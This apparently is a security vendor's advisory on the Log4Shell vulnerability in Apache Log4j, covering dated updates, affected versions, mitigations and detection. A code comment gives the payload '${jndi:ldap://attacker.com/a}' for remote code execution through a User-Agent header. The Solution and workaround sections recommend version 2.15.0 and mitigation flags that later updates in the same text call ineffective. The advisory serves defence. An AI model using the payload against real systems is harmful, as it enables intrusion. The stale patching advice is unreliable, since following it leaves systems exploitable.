[Updated] Log4Shell: Critical Severity Apache Log4j Remote Code Execution Being Actively Exploited (CVE-2021-44228 & CVE-2021-45046)

Security Advisory 2 comments

Update December 17th, 2021:

Log4j 2.15.0 Vulnerability Upgraded from Low to Critical Severity (CVSS 9.0) – RCE possible in non-default configurations

The Apache Software Foundation has updated it’s Log4J Security Page to note that the previously low severity Denial of Service (DoS) vulnerability disclosed in Log4J 2.15.0 (or 2.12.2) has now been upgraded to Critical Severity as it still allows Remote Code Execution (RCE) in non-standard configurations.

Details of additional RCE in Log4j 2.15.0

The Cyber Fusion Center is aware and tracking the release of a bypass that has made Remote Code Execution (RCE) possible in Log4J 2.15.0. In order to prevent exploitation of the original vulnerability disclosed on December 7th, Log4J team made the following two changes:

  1. Disabled JNDI lookups by default for most logging statements
    • This was done by setting the formatMsgNoLookups property and requiring that logging statements explicitly enable lookups by using “%m{lookups}”
  2. Only allow JNDI lookups against localhost (rather than remote systems)

Unfortunately, both of the changes made for version 2.15.0 and now insufficient.

Bypassing Log4J 2.15.0 Change #1: Disabled JNDI lookups for most logging statements

The primary change (disabling message lookups by default) can be bypassed since not all paths to the vulnerable code were properly resolved. As an example, the following logging statement would still be vulnerable:

Logger.printf("%s", userInput)

There are also additional attack vectors that have since been discovered.

Bypassing Log4J 2.15.0 Change #2: Only allow JNDI lookups against localhost

The changes made to limit JNDI lookups against localhost have since been bypassed and the bypass has been disclosed publicly earlier today:

Marcio Almedia disclosing a bypass that allows attackers to make JNDI looksups to severs they control even with Log4J version 2.15.0 installed

Due to the disclosures above, the Cyber Fusion center continues to recommend all organizations ensure they’ve updated to version 2.16.0 of the Log4J Library

Infinite Recursion Bug (leading to DoS) discovered for Log4J 2.16.0

Two days ago, an additional Denial of Service (DoS) bug was disclosed in Log4j version 2.16.0 due to an infinite recursion bug. Details rearding that issue are available here:

https://issues.apache.org/jira/browse/LOG4J2-3230

This has been marked as being fixed in an upcoming version of Log4j numbered 2.17.0.

Update December 16th, 2021:

Log4j 2.15.0 May Still Allow for Exfiltration of Sensitive Data

An organization named Praetorian has published what appears to be a Proof Of Concept showing an additional vulnerability in Log4j version 2.15.0 (originally released to patch Log4Shell) that could be used to exfiltrate sensitive data.

Praetorian has not released technical details regarding the exploit and to date the Apache Software Foundation has not corroborated the vulnerability on it’s Log4J Security Page. However, as the patches applied by Log4J version 2.15.0 were incomplete, the Cyber Fusion Center continues to strongly recommend that organizations update to version 2.16.0 as quickly as possible.

Update December 14th, 2021:

Apache Software Foundation Releases updated patch for Log4j (2.16.0)

The Apache Software Foundation has provided additional guidance and disclosed that the previous patch for the Log4J issue was incomplete. Apache has released a new patch for the Log4J library with version 2.16.0.

Version 2.16.0 of Log4J addresses an additional low severity Denial of Service (DoS) vulnerability discovered (CVE-2021-45046). The low severity vulnerability impacts non-default configurations. However, the CFC strongly recommends that all organizations update their software to leverage the new version (2.16.0) of this library.

Previous Mitigations Not Sufficient

The CFC has learned the previous mitigation options provided by Kudelski Security & other vendors are no longer effective. Additional code paths have been found that allow for an attacker to execute arbitrary code when attacker controlled strings are logged. Running vulnerable Java Apps with -Dlog4j2.formatMsgNoLookups=True is no longer effective nor is replacing logging statements with %m{nolookups}.

The only mitigations available now are to update the library to version 2.16.0 or fully remove the JndiLookup class from the Java applications classpath.

Ransomware and Nation State Attackers Begin leveraging Log4Shell vulnerability

The CFC is aware of Nation State threat actors that have begun to stage malicious Java class files on infrastructure that they control. This activity is a likely precursor to exploitation of the Log4Shell vulnerability for initial access.

Additionally, the CFC is aware of several financially motivated threat actor groups who have used the Log4Shell vulnerability to gain initial access in order and later deploy ransomware.

Threat Actors from Iran, North Korea, and China are actively exploiting this vulnerability for initial access.

Update December 13th, 2021, 2300h UTC (6PM EDT):

The Cyber Fusion Center continues to see both automated and manual exploitation attempts against all public facing systems where user supplied information is processed. All exploit payloads observed thus far attempt to leverage the LDAP protocol for JNDI remote lookups. All organizations should ensure outbound LDAP communication attempts are denied by default. Organizations leveraging remote (over the internet) LDAP connections should whitelist specific known trusted IP addresses and allow traffic only from systems that explicitly requires it.

Additionally, the CFC is aware of hundreds of commercial enterprise software applications that have been confirmed to be impacted by this vulnerability. Organizations should follow up with vendors whose applications are being used in their environments.

The following Github page maintained by the Dutch National Cyber Security Centrum (NSCS-NL) also contains details on applications known to be impacted thus far:

https://github.com/NCSC-NL/log4shell/tree/main/software

Note: The Cyber Fusion Center worked with our vendor partners to identify applications and systems managed by the CFC’s Security Device Management service that are impacted. The CFC is working with vendor partners to test and apply patches as appropriate. Detailed information will be provided via email.

Update December 13th, 2021 1900h UTC:

Updated to reflect that Log4J 1.x does not seem to be vulnerable, even while using the JMS Appender class. A creator and maintainer of the Log4j 1.x project has posted the following on their blog:

Also updated to note that guidance regarding certain Java Development Kit (JDK) versions not being impacted is no longer correct. Researchers have been able to leverage “Gadgets” in a vulnerable applications classpath to execute malicious code, regardless of the version of Java being used.

Also now link to a repository of vulnerable software maintained by the Dutch National Cyber Security Centrum (NSCS-NL).

Summary

On December 9th, a high severity Remote Code Execution (RCE) vulnerability impacting Log4j was disclosed by Alibaba’s Cloud Security Team. Log4j is an open-source Java logging library developed by the Apache Foundation and used broadly. Given how ubiquitous the library is, many services and enterprise software projects written in Java are likely affected by this critical severity RCE vulnerability. The vulnerability, dubbed “Log4Shell” exists because the library processes user-controlled strings in an unsafe manner. This introduces an exploitable vector for payload injection. Many popular online services and projects written in Java have already shown to be affected.

This exploit is viable in any scenario that allows a remote connection to supply attacker controlled arbitrary data which is then written to log files by an application utilizing the Log4j library. This includes examples of logging failed logins with usernames or logging changes being made to user-controlled fields. Successful exploitation of this vulnerability would provide an attacker with remote access to systems running a vulnerable Log4j library.

The Cyber Fusion Center strongly recommends that organizations identify impacted applications and infrastructure and apply the available patches or mitigations immediately. Several Proof of Concept (PoC) exploits have been made public and the Cyber Fusion Center is aware of active automated exploitation of this vulnerability. Apache has since provided patches and provided temporary mitigations.

Organizations without the ability to apply the mitigations recommended in this advisory should look to leverage Web Application Firewall or Intrusion Prevention Signatures to prevent exploitation of this vulnerability against any publicly exposed Applications written in Java that process and log user supplied input.

Affected Applications and Log4J Versions

This exploit is viable in any scenario that allows a remote connection to supply attacker controlled arbitrary data which is then written to log files by an application utilizing the Log4j library. This includes several enterprise and custom written applications written in Java. Likely most applications using Apache Strurts are impacted.

  • Apache Log4j library versions 2.0 to 2.15.0 (
  • Apache Log4j 1 series versions are also vulnerable if when using the JMS Appender class (Corrected December 13th, 2021).

For examples of Enterprise applications and SaaS services known to be impacted so far, please review the following GitHub repositories:

https://github.com/YfryTchsGD/Log4jAttackSurface

https://github.com/NCSC-NL/log4shell/tree/main/software

Note: The Repositories above are not maintained or operated by Kudelski Security.

Current iterations of exploits for this vulnerability abuse the Java Naming and Directory Interface (JNDI) to query LDAP servers for remote Java classes that will be executed by vulnerable applications.

This specific attack vector is not possible In Java Development Kit (JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1.

However, several other vectors can be leveraged to execute remote Java classes as explained in the presentation below:

Click to access us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

Technical Details

In order to exploit this vulnerability, the following requirements exist:

  • Applications must be using a vulnerable log4j version (listed above),
  • An application that allows a remote connection to supply attacker controlled arbitrary data
  • Logging attacker supplied data by an application utilizing the vulnerable Log4j library.

In current versions of the PoC the following must also be true:

  • Allowing outbound access to LDAP servers controlled by attackers (Required for current PoCs but not for all successful vulnerability exploitation attempts)

An example of vulnerable code is provided below, courtesy of https://www.lunasec.io/docs/blog/log4j-zero-day/

The CFC’s Threat Response Team comments in are embedded below:

import org.apache.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler { //In this example the log will be poisoned via an HTTP request, specifically the User-Agent header

  static Logger log = Logger.getLogger(log4jExample.class.getName());

  /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
  public void handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");
    
    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a} -> first payload,  In current versions of this exploit the remote LDAP server returns a remote Java Class that will be executed
    Log.info(“Request User Agent:” + userAgent);  // explicit logging statement that will poison the log with the payload and trigger the exploit

    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

Refer to the following technical presentation to better understand how JNDI:LDAP can be exploited for code execution, along with other vectors:

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

Solution

Apache has released a new version of Log4j that is no longer vulnerable to this critical severity vulnerability. Organizations maintaining Java applications that leverage the vulnerable versions of the Log4J library should update Log4j to version 2.15.0.

What the Cyber Fusion Center is doing

The Cyber Fusion Center will begin hunting for suspicious activity that may be related to attempts to exploit this vulnerability. Specifically, the CFC will look for attempts to load a remote java class via JNDI in outbound proxy logs and in available access and error logs (such as HTTP, ssh, etc).

The Cyber Fusion Center will also be working to develop reliable detection capabilities.

Organizations with the CFC’s Vulnerability Scanning service will receive security incident notifications if this critical severity vulnerability is discovered on systems that are being vulnerability scanned.

Temporary Workarounds and Mitigations

The CFC has learned the previous mitigation options provided by Kudelski Security & other vendors are no longer effective. Additional code paths have been found that allow for an attacker to execute arbitrary code when attacker controlled strings are logged. Running vulnerable Java Apps with -Dlog4j2.formatMsgNoLookups=True is no longer effective nor is replacing logging statements with %m{nolookups}.

The only mitigations available now are to update the library to version 2.16.0 or fully remove the JndiLookup class from the Java applications classpath.

Organizations who are unable to update their applications and software to run the latest available version of the Apache Log4j library can temporarily mitigation this issue with the instructions below.

  • Start vulnerability Java Applications with the following JVM flag:
-Dlog4j2.formatMsgNoLookups=True
  • Replace your applications logging patterns in config files with %m{nolookups} instead of %m
  • Substitute org.apache.logging.log4j.core.lookup.JndiLookup with an empty or non-vulnerable implementation and have your class loader use the replacement.

Note: Some of the mitigations described above may impact the readability of your log data generated by vulnerability applications as certain variables will no longer be resolved.

Organizations who leverage Web Application Firewalls (WAFs) should look to enable vendor provided WAF rules to prevent exploitation via HTTP(s) and other web protocols. As an example, Cloudflare has already provided WAF mitigations:

https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/

Sources

2 comments

  1. Pingback: Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide - Pentest-dB
  2. Pingback: All about Log4j – Work Remote Tech

Leave a Reply